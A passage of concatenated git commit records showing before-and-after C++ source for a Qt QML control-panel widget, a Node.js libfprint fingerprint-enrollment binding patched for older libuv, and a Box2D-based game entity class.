DcpQmlWidget::resizeEvent ( QGraphicsSceneResizeEvent * event )\n{\n if (!handlesItsOwnWindow()) return;\n\n \/\/ handle the size of the main m_Object (it is not a widget, so could\n \/\/ not put it into a layout)\n QDeclarativeItem* item = qobject_cast<QDeclarativeItem*>(m_Object);\n dcp_failfunc_unless (item);\n item->setSize (event->newSize());\n}\n\nvoid DcpQmlWidget::polishEvent ()\n{\n if (!handlesItsOwnWindow()) return;\n\n \/\/ hide everything on the page (qml displays its window totally)\n QGraphicsWidget* item = this;\n MApplicationPage* page = 0;\n do {\n page = qobject_cast<MApplicationPage*>(item);\n item = item->parentWidget();\n } while (!page);\n dcp_failfunc_unless (page);\n\n page->setComponentsDisplayMode (MApplicationPage::AllComponents,\n MApplicationPageModel::Hide);\n}\n\nbool DcpQmlWidget::pagePans () const\n{\n return !handlesItsOwnWindow();\n}\n\nbool DcpQmlWidget::handlesItsOwnWindow() const\n{\n return m_HandlesItsOwnWindow;\n}\n\nvoid DcpQmlWidget::createErrorLabel(const QString& text)\n{\n MLabel* label;\n\n label = new MLabel(this);\n label->setText(text);\n label->setWrapMode (QTextOption::WrapAtWordBoundaryOrAnywhere);\n label->setWordWrap (true);\n label->setStyleName (\"CommonBodyTextInverted\");\n ((QGraphicsLinearLayout*)(layout()))->addItem(label);\n\n DCP_WARNING(qPrintable(text));\n}\n\nvoid DcpQmlWidget::requestPage (int id)\n{\n emit changeWidget (id);\n}\n\n<commit_msg>little merge mistake<commit_after>\/***************************************************************************\n**\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Karoliina T. Salminen <karoliina.t.salminen@nokia.com>\n**\n** This file is part of duicontrolpanel.\n**\n**\n** This library is free software; you can redistribute it and\/or\n** modify it under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation\n** and appearing in the file LICENSE.LGPL included in the packaging\n** of this file.\n**\n****************************************************************************\/\n\n#include \"dcpqmlwidget.h\"\n\n#include <MLabel>\n#include <dcpdebug.h>\n#include <QGraphicsLinearLayout>\n#include <QDeclarativeError>\n#include <QDeclarativeEngine>\n#include <QDeclarativeComponent>\n#include <QDeclarativeItem>\n#include <MApplicationPage>\n#include <QGraphicsSceneResizeEvent>\n#include <QDebug>\n\nDcpQmlWidget::DcpQmlWidget(const QString& qmlPath):\n m_Object (0),\n m_HandlesItsOwnWindow (false)\n{\n \/\/ for the error labels:\n new QGraphicsLinearLayout(Qt::Vertical, this);\n\n \/\/ get as much space as possible:\n setSizePolicy (QSizePolicy::Expanding, QSizePolicy::Expanding);\n\n \/\/ create the qml widget:\n QDeclarativeEngine *engine = new QDeclarativeEngine (this);\n QDeclarativeComponent component(engine, QUrl::fromLocalFile(qmlPath));\n m_Object =\n qobject_cast<QGraphicsObject *>(component.create());\n if (m_Object) {\n \/\/ all fine, make it visible\n m_Object->setParentItem (this);\n m_HandlesItsOwnWindow =\n QString(m_Object->metaObject()->className()).startsWith (\"PageStackWindow_\");\n\n if (handlesItsOwnWindow()) {\n } else {\n setPreferredSize (m_Object->boundingRect().size());\n enableAutoTitle();\n }\n } else {\n \/\/ error happened\n createErrorLabel (QString(\"Error loading %1\").arg(qmlPath));\n foreach (QDeclarativeError error, component.errors()) {\n createErrorLabel (error.toString());\n }\n }\n}\n\nvoid DcpQmlWidget::resizeEvent ( QGraphicsSceneResizeEvent * event )\n{\n if (!handlesItsOwnWindow()) return;\n\n \/\/ handle the size of the main m_Object (it is not a widget, so could\n \/\/ not put it into a layout)\n QDeclarativeItem* item = qobject_cast<QDeclarativeItem*>(m_Object);\n dcp_failfunc_unless (item);\n item->setSize (event->newSize());\n}\n\nvoid DcpQmlWidget::polishEvent ()\n{\n if (!handlesItsOwnWindow()) return;\n\n \/\/ hide everything on the page (qml displays its window totally)\n QGraphicsWidget* item = this;\n MApplicationPage* page = 0;\n do {\n page = qobject_cast<MApplicationPage*>(item);\n item = item->parentWidget();\n } while (!page);\n dcp_failfunc_unless (page);\n\n page->setComponentsDisplayMode (MApplicationPage::AllComponents,\n MApplicationPageModel::Hide);\n}\n\nbool DcpQmlWidget::pagePans () const\n{\n return !handlesItsOwnWindow();\n}\n\nbool DcpQmlWidget::handlesItsOwnWindow() const\n{\n return m_HandlesItsOwnWindow;\n}\n\nvoid DcpQmlWidget::createErrorLabel(const QString& text)\n{\n MLabel* label;\n\n label = new MLabel(this);\n label->setText(text);\n label->setWrapMode (QTextOption::WrapAtWordBoundaryOrAnywhere);\n label->setWordWrap (true);\n label->setStyleName (\"CommonBodyTextInverted\");\n ((QGraphicsLinearLayout*)(layout()))->addItem(label);\n\n DCP_WARNING(qPrintable(text));\n}\n\nvoid DcpQmlWidget::requestPage (int id)\n{\n emit changeWidget (id);\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"fingerprint.h\"\n\nusing namespace v8;\nusing v8::FunctionTemplate;\n\nextern int initalized;\n\ntypedef struct __ENROLL_DATA__ {\n uv_async_t async;\n Nan::Persistent<Function> callback;\n unsigned char *fingerprint_data;\n size_t fingerprint_size;\n int result;\n} ENROLL_DATA;\n\ntypedef struct __ENROLL_STOP__ {\n uv_async_t async;\n Nan::Persistent<Function> callback;\n} ENROLL_STOP;\n\nstatic const char *enroll_result_to_name (int result)\n{\n\tswitch (result) {\n\tcase FP_ENROLL_COMPLETE:\n\t\treturn \"enroll-completed\";\n\tcase FP_ENROLL_FAIL:\n\t\treturn \"enroll-failed\";\n\tcase FP_ENROLL_PASS:\n\t\treturn \"enroll-stage-passed\";\n\tcase FP_ENROLL_RETRY:\n\t\treturn \"enroll-retry-scan\";\n\tcase FP_ENROLL_RETRY_TOO_SHORT:\n\t\treturn \"enroll-swipe-too-short\";\n\tcase FP_ENROLL_RETRY_CENTER_FINGER:\n\t\treturn \"enroll-finger-not-centered\";\n\tcase FP_ENROLL_RETRY_REMOVE_FINGER:\n\t\treturn \"enroll-remove-and-retry\";\n\tdefault:\n\t\treturn \"enroll-unknown-error\";\n\t}\n}\n\nvoid enroll_stopped_after(uv_handle_t* handle)\n{\n ENROLL_STOP *data = container_of((uv_async_t *)handle, ENROLL_STOP, async);\n\n if(!data)\n return;\n\n delete data;\n}\n\nvoid report_enroll_stopped(uv_async_t *handle, int status)\n{\n ENROLL_STOP *data = container_of(handle, ENROLL_STOP, async);\n Nan::HandleScope();\n\n if(!data)\n return;\n\n Nan::Callback callback(Nan::New<Function>(data->callback));\n callback.Call(0, NULL);\n\n uv_close((uv_handle_t*)&data->async, enroll_stopped_after);\n}\n\nstatic void enroll_stop_cb(struct fp_dev *dev, void *user_data)\n{\n ENROLL_STOP *data = (ENROLL_STOP*)user_data;\n\n if(!data)\n return;\n\n uv_async_send(&data->async);\n}\n\nNAN_METHOD(enrollStop) {\n struct fp_dev *dev;\n bool ret = false;\n ENROLL_STOP *data;\n\n if(info.Length() != 2)\n return;\n\n dev = toFPDev(info[0]->ToNumber()->Value());\n if(initalized != 0 || dev == NULL)\n goto error;\n\n data = new ENROLL_STOP;\n data->callback.Reset(v8::Local<v8::Function>::Cast(info[1]));\n uv_async_init(uv_default_loop(), &data->async, report_enroll_stopped);\n ret = fp_async_enroll_stop(dev, enroll_stop_cb, data) == 0;\nerror:\n info.GetReturnValue().Set(Nan::New(ret));\n return;\n}\n\nvoid enroll_after(uv_handle_t* handle)\n{\n ENROLL_DATA *enrollData = container_of((uv_async_t *)handle, ENROLL_DATA, async);\n\n if(!enrollData)\n return;\n\n if(enrollData->fingerprint_data)\n free(enrollData->fingerprint_data);\n\n enrollData->fingerprint_data = NULL;\n enrollData->fingerprint_size = 0;\n delete enrollData;\n}\n\nvoid report_enroll_progress(uv_async_t *handle, int status)\n{\n ENROLL_DATA *enrollData = container_of(handle, ENROLL_DATA, async);\n Nan::HandleScope();\n\n if(!enrollData)\n return;\n\n printf(\"report enroll progress: result: %d\\n\", enrollData->result);\n\n Nan::Callback callback(Nan::New<Function>(enrollData->callback));\n Local<Value> argv[3];\n argv[0] = Nan::New(enrollData->result);\n argv[1] = Nan::New(enroll_result_to_name(enrollData->result)).ToLocalChecked();\n argv[2] = Nan::Null();\n\n if(enrollData->result == FP_ENROLL_COMPLETE)\n argv[2] = Nan::CopyBuffer((const char*)enrollData->fingerprint_data, enrollData->fingerprint_size).ToLocalChecked();\n\n callback.Call(3, argv);\n\n if(enrollData->result == FP_ENROLL_FAIL || enrollData->result == FP_ENROLL_COMPLETE) {\n uv_close((uv_handle_t*)&enrollData->async, enroll_after);\n }\n}\n\nstatic void enroll_stage_cb(struct fp_dev *dev, int result, struct fp_print_data *print, struct fp_img *img, void *user_data)\n{\n ENROLL_DATA *enrollData = (ENROLL_DATA*)user_data;\n\n if(!enrollData || result < 0)\n return;\n\n enrollData->result = result;\n if(print && result == FP_ENROLL_COMPLETE)\n enrollData->fingerprint_size = fp_print_data_get_data(print, &enrollData->fingerprint_data);\n\n uv_async_send(&enrollData->async);\n\n if(img) fp_img_free(img);\n if(print) fp_print_data_free(print);\n}\n\nNAN_METHOD(enrollStart) {\n int r;\n struct fp_dev *dev;\n bool ret = false;\n ENROLL_DATA *enrollData;\n\n if(info.Length() != 2)\n return;\n\n dev = toFPDev(info[0]->ToNumber()->Value());\n if(initalized != 0 || dev == NULL)\n goto error;\n\n enrollData = new ENROLL_DATA;\n if(!enrollData)\n goto error;\n\n enrollData->fingerprint_data = NULL;\n enrollData->fingerprint_size = 0;\n enrollData->result = -1;\n uv_async_init(uv_default_loop(), &enrollData->async, report_enroll_progress);\n enrollData->callback.Reset(v8::Local<v8::Function>::Cast(info[1]));\n r = fp_async_enroll_start(dev, enroll_stage_cb, (void*)enrollData);\n if (r < 0 || r == FP_ENROLL_FAIL) {\n printf(\"Enroll failed with error %d\\n\", r);\n goto error;\n }\n\n ret = true;\nerror:\n info.GetReturnValue().Set(Nan::New(ret));\n return;\n}\n<commit_msg>compile with older uv<commit_after>#include \"fingerprint.h\"\n\nusing namespace v8;\nusing v8::FunctionTemplate;\n\nextern int initalized;\n\ntypedef struct __ENROLL_DATA__ {\n uv_async_t async;\n Nan::Persistent<Function> callback;\n unsigned char *fingerprint_data;\n size_t fingerprint_size;\n int result;\n} ENROLL_DATA;\n\ntypedef struct __ENROLL_STOP__ {\n uv_async_t async;\n Nan::Persistent<Function> callback;\n} ENROLL_STOP;\n\nstatic const char *enroll_result_to_name (int result)\n{\n\tswitch (result) {\n\tcase FP_ENROLL_COMPLETE:\n\t\treturn \"enroll-completed\";\n\tcase FP_ENROLL_FAIL:\n\t\treturn \"enroll-failed\";\n\tcase FP_ENROLL_PASS:\n\t\treturn \"enroll-stage-passed\";\n\tcase FP_ENROLL_RETRY:\n\t\treturn \"enroll-retry-scan\";\n\tcase FP_ENROLL_RETRY_TOO_SHORT:\n\t\treturn \"enroll-swipe-too-short\";\n\tcase FP_ENROLL_RETRY_CENTER_FINGER:\n\t\treturn \"enroll-finger-not-centered\";\n\tcase FP_ENROLL_RETRY_REMOVE_FINGER:\n\t\treturn \"enroll-remove-and-retry\";\n\tdefault:\n\t\treturn \"enroll-unknown-error\";\n\t}\n}\n\nvoid enroll_stopped_after(uv_handle_t* handle)\n{\n ENROLL_STOP *data = container_of((uv_async_t *)handle, ENROLL_STOP, async);\n\n if(!data)\n return;\n\n delete data;\n}\n\n#ifdef OLD_UV_RUN_SIGNATURE\nvoid report_enroll_stopped(uv_async_t *handle, int status)\n#else\nvoid report_enroll_stopped(uv_async_t *handle)\n#endif\n{\n ENROLL_STOP *data = container_of(handle, ENROLL_STOP, async);\n Nan::HandleScope();\n\n if(!data)\n return;\n\n Nan::Callback callback(Nan::New<Function>(data->callback));\n callback.Call(0, NULL);\n\n uv_close((uv_handle_t*)&data->async, enroll_stopped_after);\n}\n\nstatic void enroll_stop_cb(struct fp_dev *dev, void *user_data)\n{\n ENROLL_STOP *data = (ENROLL_STOP*)user_data;\n\n if(!data)\n return;\n\n uv_async_send(&data->async);\n}\n\nNAN_METHOD(enrollStop) {\n struct fp_dev *dev;\n bool ret = false;\n ENROLL_STOP *data;\n\n if(info.Length() != 2)\n return;\n\n dev = toFPDev(info[0]->ToNumber()->Value());\n if(initalized != 0 || dev == NULL)\n goto error;\n\n data = new ENROLL_STOP;\n data->callback.Reset(v8::Local<v8::Function>::Cast(info[1]));\n uv_async_init(uv_default_loop(), &data->async, report_enroll_stopped);\n ret = fp_async_enroll_stop(dev, enroll_stop_cb, data) == 0;\nerror:\n info.GetReturnValue().Set(Nan::New(ret));\n return;\n}\n\nvoid enroll_after(uv_handle_t* handle)\n{\n ENROLL_DATA *enrollData = container_of((uv_async_t *)handle, ENROLL_DATA, async);\n\n if(!enrollData)\n return;\n\n if(enrollData->fingerprint_data)\n free(enrollData->fingerprint_data);\n\n enrollData->fingerprint_data = NULL;\n enrollData->fingerprint_size = 0;\n delete enrollData;\n}\n\n#ifdef OLD_UV_RUN_SIGNATURE\nvoid report_enroll_progress(uv_async_t *handle, int status)\n#else\nvoid report_enroll_progress(uv_async_t *handle)\n#endif\n{\n ENROLL_DATA *enrollData = container_of(handle, ENROLL_DATA, async);\n Nan::HandleScope();\n\n if(!enrollData)\n return;\n\n printf(\"report enroll progress: result: %d\\n\", enrollData->result);\n\n Nan::Callback callback(Nan::New<Function>(enrollData->callback));\n Local<Value> argv[3];\n argv[0] = Nan::New(enrollData->result);\n argv[1] = Nan::New(enroll_result_to_name(enrollData->result)).ToLocalChecked();\n argv[2] = Nan::Null();\n\n if(enrollData->result == FP_ENROLL_COMPLETE)\n argv[2] = Nan::CopyBuffer((const char*)enrollData->fingerprint_data, enrollData->fingerprint_size).ToLocalChecked();\n\n callback.Call(3, argv);\n\n if(enrollData->result == FP_ENROLL_FAIL || enrollData->result == FP_ENROLL_COMPLETE) {\n uv_close((uv_handle_t*)&enrollData->async, enroll_after);\n }\n}\n\nstatic void enroll_stage_cb(struct fp_dev *dev, int result, struct fp_print_data *print, struct fp_img *img, void *user_data)\n{\n ENROLL_DATA *enrollData = (ENROLL_DATA*)user_data;\n\n if(!enrollData || result < 0)\n return;\n\n enrollData->result = result;\n if(print && result == FP_ENROLL_COMPLETE)\n enrollData->fingerprint_size = fp_print_data_get_data(print, &enrollData->fingerprint_data);\n\n uv_async_send(&enrollData->async);\n\n if(img) fp_img_free(img);\n if(print) fp_print_data_free(print);\n}\n\nNAN_METHOD(enrollStart) {\n int r;\n struct fp_dev *dev;\n bool ret = false;\n ENROLL_DATA *enrollData;\n\n if(info.Length() != 2)\n return;\n\n dev = toFPDev(info[0]->ToNumber()->Value());\n if(initalized != 0 || dev == NULL)\n goto error;\n\n enrollData = new ENROLL_DATA;\n if(!enrollData)\n goto error;\n\n enrollData->fingerprint_data = NULL;\n enrollData->fingerprint_size = 0;\n enrollData->result = -1;\n uv_async_init(uv_default_loop(), &enrollData->async, report_enroll_progress);\n enrollData->callback.Reset(v8::Local<v8::Function>::Cast(info[1]));\n r = fp_async_enroll_start(dev, enroll_stage_cb, (void*)enrollData);\n if (r < 0 || r == FP_ENROLL_FAIL) {\n printf(\"Enroll failed with error %d\\n\", r);\n goto error;\n }\n\n ret = true;\nerror:\n info.GetReturnValue().Set(Nan::New(ret));\n return;\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * Copyright (C) 2012 by INdT\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n *\n * @author Rodrigo Goncalves de Oliveira <rodrigo.goncalves@openbossa.org>\n * @author Roger Felipe Zanoni da Silva <roger.zanoni@openbossa.org>\n *\/\n\n#include \"entity.h\"\n\n#include \"enums.h\"\n#include \"scene.h\"\n#include \"game.h\"\n#include \"behavior.h\"\n#include \"fixture.h\"\n#include \"material.h\"\n\nEntity::Entity(Scene *parent)\n : Box2DBaseItem(parent)\n , m_updateInterval(0)\n , m_scene(0)\n , m_behavior(0)\n , m_body(0)\n , m_linearDamping(0.0f)\n , m_angularDamping(0.0f)\n , m_bodyType(Quasi::StaticBodyType)\n , m_bullet(false)\n , m_sleepingAllowed(true)\n , m_fixedRotation(false)\n , m_active(true)\n , m_sensorFixture(0)\n{\n setTransformOrigin(Center);\n connect(this, SIGNAL(rotationChanged()), SLOT(onRotationChanged()));\n}\n\nEntity::~Entity()\n{\n if (!m_world || !m_body)\n return;\n\n#if QT_VERSION >= 0x050000\n QQuickItem *child;\n#else\n QGraphicsItem *child;\n#endif\n\n foreach (child, childItems())\n if (Fixture *fixture = dynamic_cast<Fixture *>(child))\n delete fixture;\n\n m_worldPtr->DestroyBody(m_body);\n m_body = 0;\n}\n\nvoid Entity::update(const int &delta)\n{\n if ((m_updateInterval && m_updateTime.elapsed() >= m_updateInterval)\n || !m_updateInterval) {\n m_updateTime.restart();\n if (m_behavior) {\n m_behavior->setDelta(delta);\n m_behavior->setEntity(this);\n m_behavior->update(delta);\n m_behavior->setEntity(0);\n }\n }\n\n#if QT_VERSION >= 0x050000\n QQuickItem *child;\n#else\n QGraphicsItem *child;\n#endif\n foreach (child, childItems())\n if (Entity *item = dynamic_cast<Entity *>(child))\n item->update(delta);\n}\n\nint Entity::updateInterval() const\n{\n return m_updateInterval;\n}\n\nvoid Entity::setUpdateInterval(const int &updateInterval)\n{\n if (m_updateInterval != updateInterval) {\n m_updateInterval = updateInterval;\n\n emit updateIntervalChanged();\n\n m_updateTime.restart();\n }\n}\n\nScene *Entity::scene() const\n{\n return m_scene;\n}\n\nvoid Entity::setScene(Scene *scene)\n{\n m_scene = scene;\n}\n\nGame *Entity::game() const\n{\n if (m_scene)\n return m_scene->game();\n\n return 0;\n}\n\nBehavior *Entity::behavior() const\n{\n return m_behavior;\n}\n\nvoid Entity::setBehavior(Behavior *behavior)\n{\n if (m_behavior == behavior)\n return;\n\n m_behavior = behavior;\n\n emit behaviorChanged();\n}\n\nvoid Entity::componentComplete()\n{\n if (!m_initialized)\n initialize();\n}\n\nb2Body *Entity::body() const\n{\n return m_body;\n}\n\nvoid Entity::onRotationChanged()\n{\n if (!m_synchronizing && m_body) {\n m_body->SetTransform(m_body->GetPosition(),\n (rotation() * 2 * b2_pi) \/ -360.0);\n }\n}\n\n\/*\n * Shamelessly stolen from qml-box2d project at gitorious\n *\n * https:\/\/gitorious.org\/qml-box2d\/qml-box2d\n *\/\nvoid Entity::initialize()\n{\n if (m_initialized || !m_world)\n return;\n\n b2BodyDef bodyDef;\n bodyDef.type = static_cast<b2BodyType>(m_bodyType);\n bodyDef.position.Set((x() + width() \/ 2.0) \/ m_scaleRatio,\n (-y() - height() \/ 2.0) \/ m_scaleRatio);\n\n bodyDef.angle = -(rotation() * (2 * b2_pi)) \/ 360.0;\n bodyDef.linearDamping = m_linearDamping;\n bodyDef.angularDamping = m_angularDamping;\n bodyDef.bullet = m_bullet;\n bodyDef.allowSleep = m_sleepingAllowed;\n bodyDef.fixedRotation = m_fixedRotation;\n\n m_body = m_worldPtr->CreateBody(&bodyDef);\n\n initializeFixtures();\n\n m_initialized = true;\n}\n\nqreal Entity::linearDamping() const\n{\n return m_linearDamping;\n}\n\nvoid Entity::setLinearDamping(const qreal &linearDamping)\n{\n if (m_linearDamping != linearDamping) {\n m_linearDamping = linearDamping;\n\n if (m_body)\n m_body->SetLinearDamping(linearDamping);\n\n emit linearDampingChanged();\n }\n}\n\nqreal Entity::angularDamping() const\n{\n return m_angularDamping;\n}\n\nvoid Entity::setAngularDamping(const qreal &angularDamping)\n{\n if (m_angularDamping != angularDamping) {\n m_angularDamping = angularDamping;\n\n if (m_body)\n m_body->SetAngularDamping(angularDamping);\n\n emit angularDampingChanged();\n }\n}\n\nQuasi::BodyType Entity::bodyType() const\n{\n return m_bodyType;\n}\n\nvoid Entity::setBodyType(const Quasi::BodyType &bodyType)\n{\n if (m_bodyType != bodyType) {\n m_bodyType = bodyType;\n\n if (m_body)\n m_body->SetType((b2BodyType)bodyType);\n\n emit bodyTypeChanged();\n }\n}\n\nbool Entity::bullet() const\n{\n return m_bullet;\n}\n\nvoid Entity::setBullet(const bool &bullet)\n{\n if (m_bullet != bullet) {\n m_bullet = bullet;\n\n if (m_body)\n m_body->SetBullet(bullet);\n\n emit bulletChanged();\n }\n}\n\nbool Entity::sleepingAllowed() const\n{\n return m_sleepingAllowed;\n}\n\nvoid Entity::setSleepingAllowed(const bool &sleepingAllowed)\n{\n if (m_sleepingAllowed != sleepingAllowed) {\n m_sleepingAllowed = sleepingAllowed;\n\n if (m_body)\n m_body->SetSleepingAllowed(sleepingAllowed);\n\n emit sleepingAllowedChanged();\n }\n}\n\nbool Entity::fixedRotation() const\n{\n return m_fixedRotation;\n}\n\nvoid Entity::setFixedRotation(const bool &fixedRotation)\n{\n if (m_fixedRotation != fixedRotation) {\n m_fixedRotation = fixedRotation;\n\n if (m_body)\n m_body->SetFixedRotation(fixedRotation);\n\n emit fixedRotationChanged();\n }\n}\n\nbool Entity::active() const\n{\n return m_active;\n}\n\nvoid Entity::setActive(const bool &active)\n{\n if (m_active != active) {\n m_active = active;\n\n if (m_body)\n m_body->SetActive(active);\n\n emit activeChanged();\n }\n}\n\nvoid Entity::applyTorque(const float &torque)\n{\n if (m_body)\n m_body->ApplyTorque(torque);\n}\n\nvoid Entity::applyLinearImpulse(const QPointF &impulse, const QPointF &point)\n{\n if (m_body) {\n m_body->ApplyLinearImpulse(b2Vec2(impulse.x() \/ m_scaleRatio,\n -impulse.y() \/ m_scaleRatio),\n b2Vec2(point.x() \/ m_scaleRatio,\n -point.y() \/ m_scaleRatio));\n }\n}\n\nvoid Entity::setLinearVelocity(const QPointF &velocity)\n{\n if (m_body) {\n m_body->SetLinearVelocity(b2Vec2(velocity.x() \/ m_scaleRatio,\n -velocity.y() \/ m_scaleRatio));\n }\n}\n\nvoid Entity::setAngularVelocity(const float &velocity)\n{\n if (m_body) {\n m_body->SetAngularVelocity(velocity);\n }\n}\n\nvoid Entity::geometryChanged(const QRectF &newGeometry,\n const QRectF &oldGeometry)\n{\n if (!m_synchronizing && m_body) {\n if (newGeometry.topLeft() != oldGeometry.topLeft()) {\n const QPointF pos = newGeometry.topLeft();\n\n m_body->SetTransform(b2Vec2((pos.x() + width() \/ 2.0) \/ m_scaleRatio,\n (-pos.y() - height() \/ 2.0) \/ m_scaleRatio),\n m_body->GetAngle());\n }\n }\n\n#if QT_VERSION >= 0x050000\n QQuickItem::geometryChanged(newGeometry, oldGeometry);\n#else\n QDeclarativeItem::geometryChanged(newGeometry, oldGeometry);\n#endif\n}\n\nb2Vec2 Entity::b2TransformOrigin() const\n{\n b2Vec2 vec;\n if (m_body)\n vec = m_body->GetPosition();\n\n return vec;\n}\n\nfloat Entity::b2Angle() const\n{\n float32 angle = 0.0f;\n if (m_body)\n angle = m_body->GetAngle();\n return angle;\n}\n\nvoid Entity::initializeFixtures()\n{\n#if QT_VERSION >= 0x050000\n QQuickItem *item;\n#else\n QGraphicsItem *item;\n#endif\n\n bool createSensor = true;\n foreach (item, childItems()) {\n if (Fixture *fixture = dynamic_cast<Fixture *>(item)) {\n createSensor = false;\n fixture->setWorld(m_world);\n fixture->setBody(this);\n fixture->initialize();\n }\n }\n\n if (createSensor)\n createSensorFixture();\n}\n\n#if QT_VERSION >= 0x050000\nvoid Entity::itemChange(ItemChange change, const ItemChangeData &data)\n#else\nQVariant Entity::itemChange(GraphicsItemChange change, const QVariant &value)\n#endif\n{\n if (isComponentComplete() && change == ItemChildAddedChange) {\n#if QT_VERSION >= 0x050000\n QQuickItem *child = data.item;\n#else\n QGraphicsItem *child = value.value<QGraphicsItem *>();\n#endif\n if (Fixture *fixture = dynamic_cast<Fixture *>(child)) {\n destroySensorFixture();\n fixture->setWorld(m_world);\n fixture->setBody(this);\n fixture->initialize();\n }\n }\n\n#if QT_VERSION >= 0x050000\n Box2DBaseItem::itemChange(change, data);\n#else\n return Box2DBaseItem::itemChange(change, value);\n#endif\n}\n\nvoid Entity::createSensorFixture()\n{\n setBodyType(Quasi::DynamicBodyType);\n m_body->SetGravityScale(0);\n\n m_sensorFixture = new Fixture(this);\n m_sensorFixture->setMaterial(new Material(this));\n m_sensorFixture->setWidth(width());\n m_sensorFixture->setHeight(height());\n m_sensorFixture->setShapeItem(this);\n m_sensorFixture->setWorld(m_world);\n m_sensorFixture->setBody(this);\n m_sensorFixture->setSensor(true);\n m_sensorFixture->updateFixture();\n}\n\nvoid Entity::destroySensorFixture()\n{\n if (!m_sensorFixture)\n return;\n\n m_sensorFixture->deleteLater();\n m_sensorFixture = 0;\n}\n<commit_msg>Fix declarative items initialization chain<commit_after>\/**\n * Copyright (C) 2012 by INdT\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n *\n * @author Rodrigo Goncalves de Oliveira <rodrigo.goncalves@openbossa.org>\n * @author Roger Felipe Zanoni da Silva <roger.zanoni@openbossa.org>\n *\/\n\n#include \"entity.h\"\n\n#include \"enums.h\"\n#include \"scene.h\"\n#include \"game.h\"\n#include \"behavior.h\"\n#include \"fixture.h\"\n#include \"material.h\"\n\nEntity::Entity(Scene *parent)\n : Box2DBaseItem(parent)\n , m_updateInterval(0)\n , m_scene(0)\n , m_behavior(0)\n , m_body(0)\n , m_linearDamping(0.0f)\n , m_angularDamping(0.0f)\n , m_bodyType(Quasi::StaticBodyType)\n , m_bullet(false)\n , m_sleepingAllowed(true)\n , m_fixedRotation(false)\n , m_active(true)\n , m_sensorFixture(0)\n{\n setTransformOrigin(Center);\n connect(this, SIGNAL(rotationChanged()), SLOT(onRotationChanged()));\n}\n\nEntity::~Entity()\n{\n if (!m_world || !m_body)\n return;\n\n#if QT_VERSION >= 0x050000\n QQuickItem *child;\n#else\n QGraphicsItem *child;\n#endif\n\n foreach (child, childItems())\n if (Fixture *fixture = dynamic_cast<Fixture *>(child))\n delete fixture;\n\n m_worldPtr->DestroyBody(m_body);\n m_body = 0;\n}\n\nvoid Entity::update(const int &delta)\n{\n if ((m_updateInterval && m_updateTime.elapsed() >= m_updateInterval)\n || !m_updateInterval) {\n m_updateTime.restart();\n if (m_behavior) {\n m_behavior->setDelta(delta);\n m_behavior->setEntity(this);\n m_behavior->update(delta);\n m_behavior->setEntity(0);\n }\n }\n\n#if QT_VERSION >= 0x050000\n QQuickItem *child;\n#else\n QGraphicsItem *child;\n#endif\n foreach (child, childItems())\n if (Entity *item = dynamic_cast<Entity *>(child))\n item->update(delta);\n}\n\nint Entity::updateInterval() const\n{\n return m_updateInterval;\n}\n\nvoid Entity::setUpdateInterval(const int &updateInterval)\n{\n if (m_updateInterval != updateInterval) {\n m_updateInterval = updateInterval;\n\n emit updateIntervalChanged();\n\n m_updateTime.restart();\n }\n}\n\nScene *Entity::scene() const\n{\n return m_scene;\n}\n\nvoid Entity::setScene(Scene *scene)\n{\n m_scene = scene;\n}\n\nGame *Entity::game() const\n{\n if (m_scene)\n return m_scene->game();\n\n return 0;\n}\n\nBehavior *Entity::behavior() const\n{\n return m_behavior;\n}\n\nvoid Entity::setBehavior(Behavior *behavior)\n{\n if (m_behavior == behavior)\n return;\n\n m_behavior = behavior;\n\n emit behaviorChanged();\n}\n\nvoid Entity::componentComplete()\n{\n Box2DBaseItem::componentComplete();\n\n if (!m_initialized)\n initialize();\n}\n\nb2Body *Entity::body() const\n{\n return m_body;\n}\n\nvoid Entity::onRotationChanged()\n{\n if (!m_synchronizing && m_body) {\n m_body->SetTransform(m_body->GetPosition(),\n (rotation() * 2 * b2_pi) \/ -360.0);\n }\n}\n\n\/*\n * Shamelessly stolen from qml-box2d project at gitorious\n *\n * https:\/\/gitorious.org\/qml-box2d\/qml-box2d\n *\/\nvoid Entity::initialize()\n{\n if (m_initialized || !m_world)\n return;\n\n b2BodyDef bodyDef;\n bodyDef.type = static_cast<b2BodyType>(m_bodyType);\n bodyDef.position.Set((x() + width() \/ 2.0) \/ m_scaleRatio,\n (-y() - height() \/ 2.0) \/ m_scaleRatio);\n\n bodyDef.angle = -(rotation() * (2 * b2_pi)) \/ 360.0;\n bodyDef.linearDamping = m_linearDamping;\n bodyDef.angularDamping = m_angularDamping;\n bodyDef.bullet = m_bullet;\n bodyDef.allowSleep = m_sleepingAllowed;\n bodyDef.fixedRotation = m_fixedRotation;\n\n m_body = m_worldPtr->CreateBody(&bodyDef);\n\n initializeFixtures();\n\n m_initialized = true;\n}\n\nqreal Entity::linearDamping() const\n{\n return m_linearDamping;\n}\n\nvoid Entity::setLinearDamping(const qreal &linearDamping)\n{\n if (m_linearDamping != linearDamping) {\n m_linearDamping = linearDamping;\n\n if (m_body)\n m_body->SetLinearDamping(linearDamping);\n\n emit linearDampingChanged();\n }\n}\n\nqreal Entity::angularDamping() const\n{\n return m_angularDamping;\n}\n\nvoid Entity::setAngularDamping(const qreal &angularDamping)\n{\n if (m_angularDamping != angularDamping) {\n m_angularDamping = 